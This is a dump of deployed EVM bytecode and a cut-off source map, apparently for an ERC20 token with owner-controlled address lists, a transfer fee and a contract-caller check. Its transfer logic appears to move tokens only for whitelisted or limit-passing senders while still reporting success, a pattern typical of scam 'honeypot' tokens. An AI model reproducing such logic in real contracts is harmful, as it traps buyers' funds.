b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612d57565b611251565b60405161045a919061342a565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612e10565b61140a565b6040516104979190613587565b60405180910390f35b3480156104ac57600080fd5b506104b5611411565b6040516104c291906135a2565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612c3e565b61141a565b005b34801561050057600080fd5b5061051b60048036038101906105169190612d1b565b6114b2565b604051610528919061342a565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612c3e565b61155e565b604051610565919061342a565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190612e10565b61172b565b005b3480156105a357600080fd5b506105be60048036038101906105b99190612e39565b61172e565b6040516105cb9190613587565b60405180910390f35b3480156105e057600080fd5b506105fb60048036038101906105f69190612c3e565b611736565b005b34801561060957600080fd5b506106126117ce565b60405161061f91906133c4565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a9190612c3e565b6117d6565b60405161065c9190613587565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612e75565b61181f565b6040516106999190613587565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612c3e565b611931565b6040516106d69190613587565b60405180910390f35b3480156106eb57600080fd5b506106f4611a48565b604051610701919061342a565b60405180910390f35b34801561071657600080fd5b5061071f611a5f565b60405161072c919061342a565b60405180910390f35b34801561074157600080fd5b5061074a611a64565b60405161075791906133c4565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190612e10565b611a8d565b005b34801561079557600080fd5b506107b060048036038101906107ab9190612e10565b611b25565b6040516107bd919061342a565b60405180910390f35b3480156107d257600080fd5b506107db611b87565b6040516107e89190613445565b60405180910390f35b3480156107fd57600080fd5b5061081860048036038101906108139190612c3e565b611c19565b6040516108259190613587565b60405180910390f35b34801561083a57600080fd5b5061085560048036038101906108509190612d1b565b611d30565b604051610862919061342a565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d9190612d1b565b611e1b565b60405161089f919061342a565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190612d1b565b611fef565b6040516108dc919061342a565b60405180910390f35b3480156108f157600080fd5b506108fa611ff7565b6040516109079190613587565b60405180910390f35b34801561091c57600080fd5b50610925611ffd565b60405161093291906133c4565b60405180910390f35b34801561094757600080fd5b506109506120ca565b60405161095d9190613408565b60405180910390f35b34801561097257600080fd5b5061098d60048036038101906109889190612d93565b612158565b60405161099a919061342a565b60405180910390f35b3480156109af57600080fd5b506109ca60048036038101906109c59190612e10565b6122b8565b005b3480156109d857600080fd5b506109f360048036038101906109ee9190612e10565b612350565b604051610a00919061342a565b60405180910390f35b348015610a1557600080fd5b50610a306004803603810190610a2b9190612c90565b61244d565b604051610a3d9190613587565b60405180910390f35b348015610a5257600080fd5b50610a6d6004803603810190610a689190612c3e565b6124d4565b005b610a7761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906134e7565b60405180910390fd5b50565b606060088054610b169061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b429061381e565b8015610b8f5780601f10610b6457610100808354040283529160200191610b8f565b820191906000526020600020905b815481529060010190602001808311610b7257829003601f168201915b5050505050905090565b6000610bad610ba661256c565b8484612574565b6001905092915050565b6000610bc161256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c45906134e7565b60405180910390fd5b60005b600d805490508160ff161015610d7a578273ffffffffffffffffffffffffffffffffffffffff16600d8260ff1681548110610cb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d6757600d8160ff1681548110610d39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8080610d7290613899565b915050610c51565b5060019050919050565b6000610d8e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e12906134e7565b60405180910390fd5b81600a60006101000a81548160ff02191690831515021790555060019050919050565b600090565b6000600754905090565b6000610e5761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906134e7565b60405180910390fd5b8160048190555060019050919050565b600080610f02856001611251565b90506000610f11866002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480610fa15750610f72611ffd565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80610fdf5750600073ffffffffffffffffffffffffffffffffffffffff16610fc7611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b8061101c5750610fed611a64565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806110245750815b156111195761103486868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061107f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906134c7565b60405180910390fd5b6111138761110b61256c565b878403612574565b50611244565b600454841115806111365750600a60009054906101000a900460ff165b8015611148575061114686612aef565b155b8015611152575080155b156112435761116286868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111ad61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508481101561122d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611224906134c7565b60405180910390fd5b6112418761123961256c565b878403612574565b505b5b6001925050509392505050565b6000806000905060018360ff1614156113345760005b600c805490508160ff16101561132e578473ffffffffffffffffffffffffffffffffffffffff16600c8260ff16815481106112cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561131b576001915061132e565b808061132690613899565b915050611267565b50611400565b60005b600d805490508160ff1610156113fe578473ffffffffffffffffffffffffffffffffffffffff16600d8260ff168154811061139b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113eb57600191506113fe565b80806113f690613899565b915050611337565b505b8091505092915050565b6000919050565b60006012905090565b61142261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a6906134e7565b60405180910390fd5b50565b60006115546114bf61256c565b8484600660006114cd61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154f919061366f565b612574565b6001905092915050565b600061156861256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906134e7565b60405180910390fd5b60005b600c805490508160ff161015611721578273ffffffffffffffffffffffffffffffffffffffff16600c8260ff168154811061165c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561170e57600c8160ff16815481106116e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b808061171990613899565b9150506115f8565b5060019050919050565b50565b600092915050565b61173e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c2906134e7565b60405180910390fd5b50565b600030905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000905060008443423360405160200161183c9190613373565b6040516020818303038152906040528051906020012060001c61185f91906136c5565b86454241604051602001611873919061338e565b6040516020818303038152906040528051906020012060001c61189691906136c5565b44426118a2919061366f565b6118ac919061366f565b6118b6919061366f565b6118c0919061366f565b6118ca919061366f565b6118d4919061366f565b6040516020016118e491906133a9565b6040516020818303038152906040528051906020012060001c6119079190613903565b90508581611915919061366f565b9050818061192290613850565b92505080925050509392505050565b600061193b61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bf906134e7565b60405180910390fd5b6119d3826001611251565b611a3b57600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c805490509050919050565b6000600a60009054906101000a900460ff16905090565b600090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a9561256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906134e7565b60405180910390fd5b50565b6000808210158015611b38575060648211155b611b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6e90613547565b60405180910390fd5b81600b8190555060019050919050565b606060098054611b969061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc29061381e565b8015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b6000611c2361256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca7906134e7565b60405180910390fd5b611cbb826001611251565b611d2357600d829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600d805490509050919050565b60008060066000611d3f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df390613567565b60405180910390fd5b611e10611e0761256c565b85858403612574565b600191505092915050565b600080611e30611e2961256c565b6001611251565b90506000611e46611e3f61256c565b6002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e8961256c565b73ffffffffffffffffffffffffffffffffffffffff161480611ee45750611eae611ffd565b73ffffffffffffffffffffffffffffffffffffffff16611ecc61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f225750600073ffffffffffffffffffffffffffffffffffffffff16611f0a611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f665750611f30611a64565b73ffffffffffffffffffffffffffffffffffffffff16611f4e61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f6e5750815b15611f8a57611f85611f7e61256c565b868661273f565b611fe3565b60045484111580611fa75750600a60009054906101000a900460ff165b8015611fc05750611fbe611fb961256c565b612aef565b155b8015611fca575080155b15611fe257611fe1611fda61256c565b868661273f565b5b5b60019250505092915050565b600092915050565b600b5481565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c7373ffffffffffffffffffffffffffffffffffffffff1663e6a43905600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016120719291906133df565b60206040518083038186803b15801561208957600080fd5b505afa15801561209d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c19190612c67565b90508091505090565b6060600c80548060200260200160405190810160405280929190818152602001828054801561214e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612104575b5050505050905090565b600061216261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e6906134e7565b60405180910390fd5b600080600080600090505b86518110156122aa5760028661221091906136c5565b9350838661221e919061366f565b925061222b84848361181f565b9150612235611411565b60ff168261224391906136f6565b915061229761225061256c565b888381518110612289577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518461273f565b80806122a290613850565b9150506121fa565b506001935050505092915050565b6122c061256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461234d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612344906134e7565b60405180910390fd5b50565b600061235a61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123de906134e7565b60405180910390fd5b81600560006123f461256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461243d919061366f565b9250508190555060019050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6124dc61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612560906134e7565b60405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125db90613527565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264b90613487565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127329190613587565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a690613507565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561281f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281690613467565b60405180910390fd5b61282a838383612b3a565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156128b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a8906134a7565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414612a2e5760006064600b548461291391906136f6565b61291d91906136c5565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612990919061366f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a169190613587565b60405180910390a38083612a2a9190613750565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a7d919061366f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae19190613587565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b8114158015612b315750818114155b92505050919050565b505050565b6000612b52612b4d846135ee565b6135bd565b90508083825260208201905082856020860282011115612b7157600080fd5b60005b85811015612ba15781612b878882612bab565b845260208401935060208301925050600181019050612b74565b5050509392505050565b600081359050612bba81613a0e565b92915050565b600081519050612bcf81613a0e565b92915050565b600082601f830112612be657600080fd5b8135612bf6848260208601612b3f565b91505092915050565b600081359050612c0e81613a25565b92915050565b600081359050612c2381613a3c565b92915050565b600081359050612c3881613a53565b92915050565b600060208284031215612c5057600080fd5b6000612c5e84828501612bab565b91505092915050565b600060208284031215612c7957600080fd5b6000612c8784828501612bc0565b91505092915050565b60008060408385031215612ca357600080fd5b6000612cb185828601612bab565b9250506020612cc285828601612bab565b9150509250929050565b600080600060608486031215612ce157600080fd5b6000612cef86828701612bab565b9350506020612d0086828701612bab565b9250506040612d1186828701612c14565b9150509250925092565b60008060408385031215612d2e57600080fd5b6000612d3c85828601612bab565b9250506020612d4d85828601612c14565b9150509250929050565b60008060408385031215612d6a57600080fd5b6000612d7885828601612bab565b9250506020612d8985828601612c29565b9150509250929050565b60008060408385031215612da657600080fd5b600083013567ffffffffffffffff811115612dc057600080fd5b612dcc85828601612bd5565b9250506020612ddd85828601612c14565b9150509250929050565b600060208284031215612df957600080fd5b6000612e0784828501612bff565b91505092915050565b600060208284031215612e2257600080fd5b6000612e3084828501612c14565b91505092915050565b60008060408385031215612e4c57600080fd5b6000612e5a85828601612c14565b9250506020612e6b85828601612bff565b9150509250929050565b600080600060608486031215612e8a57600080fd5b6000612e9886828701612c14565b9350506020612ea986828701612c14565b9250506040612eba86828701612c14565b9150509250925092565b6000612ed08383612ef3565b60208301905092915050565b612eed612ee882613796565b6138d5565b82525050565b612efc81613784565b82525050565b612f0b81613784565b82525050565b612f22612f1d82613784565b6138c3565b82525050565b6000612f338261362a565b612f3d818561364d565b9350612f488361361a565b8060005b83811015612f79578151612f608882612ec4565b9750612f6b83613640565b925050600181019050612f4c565b5085935050505092915050565b612f8f816137a8565b82525050565b6000612fa082613635565b612faa818561365e565b9350612fba8185602086016137eb565b612fc3816139f0565b840191505092915050565b6000612fdb60238361365e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061304160228361365e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130a760268361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061310d60288361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061317360208361365e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006131b360258361365e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061321960248361365e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061327f60228361365e565b91507f5472616e7366657220666565206973206265747765656e203120616e6420313060008301527f302e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006132e560258361365e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b613347816137d4565b82525050565b61335e613359826137d4565b6138f9565b82525050565b61336d816137de565b82525050565b600061337f8284612f11565b60148201915081905092915050565b600061339a8284612edc565b60148201915081905092915050565b60006133b5828461334d565b60208201915081905092915050565b60006020820190506133d96000830184612f02565b92915050565b60006040820190506133f46000830185612f02565b6134016020830184612f02565b9392505050565b600060208201905081810360008301526134228184612f28565b905092915050565b600060208201905061343f6000830184612f86565b92915050565b6000602082019050818103600083015261345f8184612f95565b905092915050565b6000602082019050818103600083015261348081612fce565b9050919050565b600060208201905081810360008301526134a081613034565b9050919050565b600060208201905081810360008301526134c08161309a565b9050919050565b600060208201905081810360008301526134e081613100565b9050919050565b6000602082019050818103600083015261350081613166565b9050919050565b60006020820190508181036000830152613520816131a6565b9050919050565b600060208201905081810360008301526135408161320c565b9050919050565b6000602082019050818103600083015261356081613272565b9050919050565b60006020820190508181036000830152613580816132d8565b9050919050565b600060208201905061359c600083018461333e565b92915050565b60006020820190506135b76000830184613364565b92915050565b6000604051905081810181811067ffffffffffffffff821117156135e4576135e36139c1565b5b8060405250919050565b600067ffffffffffffffff821115613609576136086139c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061367a826137d4565b9150613685836137d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136ba576136b9613934565b5b828201905092915050565b60006136d0826137d4565b91506136db836137d4565b9250826136eb576136ea613963565b5b828204905092915050565b6000613701826137d4565b915061370c836137d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561374557613744613934565b5b828202905092915050565b600061375b826137d4565b9150613766836137d4565b92508282101561377957613778613934565b5b828203905092915050565b600061378f826137b4565b9050919050565b60006137a1826137b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156138095780820151818401526020810190506137ee565b83811115613818576000848401525b50505050565b6000600282049050600182168061383657607f821691505b6020821081141561384a57613849613992565b5b50919050565b600061385b826137d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561388e5761388d613934565b5b600182019050919050565b60006138a4826137de565b915060ff8214156138b8576138b7613934565b5b600182019050919050565b60006138ce826138e7565b9050919050565b60006138e0826138e7565b9050919050565b60006138f282613a01565b9050919050565b6000819050919050565b600061390e826137d4565b9150613919836137d4565b92508261392957613928613963565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b613a1781613784565b8114613a2257600080fd5b50565b613a2e816137a8565b8114613a3957600080fd5b50565b613a45816137d4565b8114613a5057600080fd5b50565b613a5c816137de565b8114613a6757600080fd5b5056fea26469706673582212201c070a05c01e87e48945ca2bff27df126105978dda57724a89905dce2e76b6d864736f6c63430008000033

Deployed ByteCode Sourcemap

2413:11941:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7860:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3443:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8981:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4366:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7313:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6973:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3758:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7188:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9156:1277;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4994:584;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7571:77;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3659:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7725:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11259:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4635:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7032:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7081:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7654:65;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11899:102;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3872:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6320:535;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4188:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7435:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7512:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1274:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7931:77;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10673:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3549:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4005:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11480:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8090:728;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6863:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3008:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10439:228;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4897:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5774:540;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8014:70;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5584:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8824:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7796:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7860:65;1409:12;:10;:12::i;:::-;1399:22;;:6;;;;;;;;;;:22;;;1391: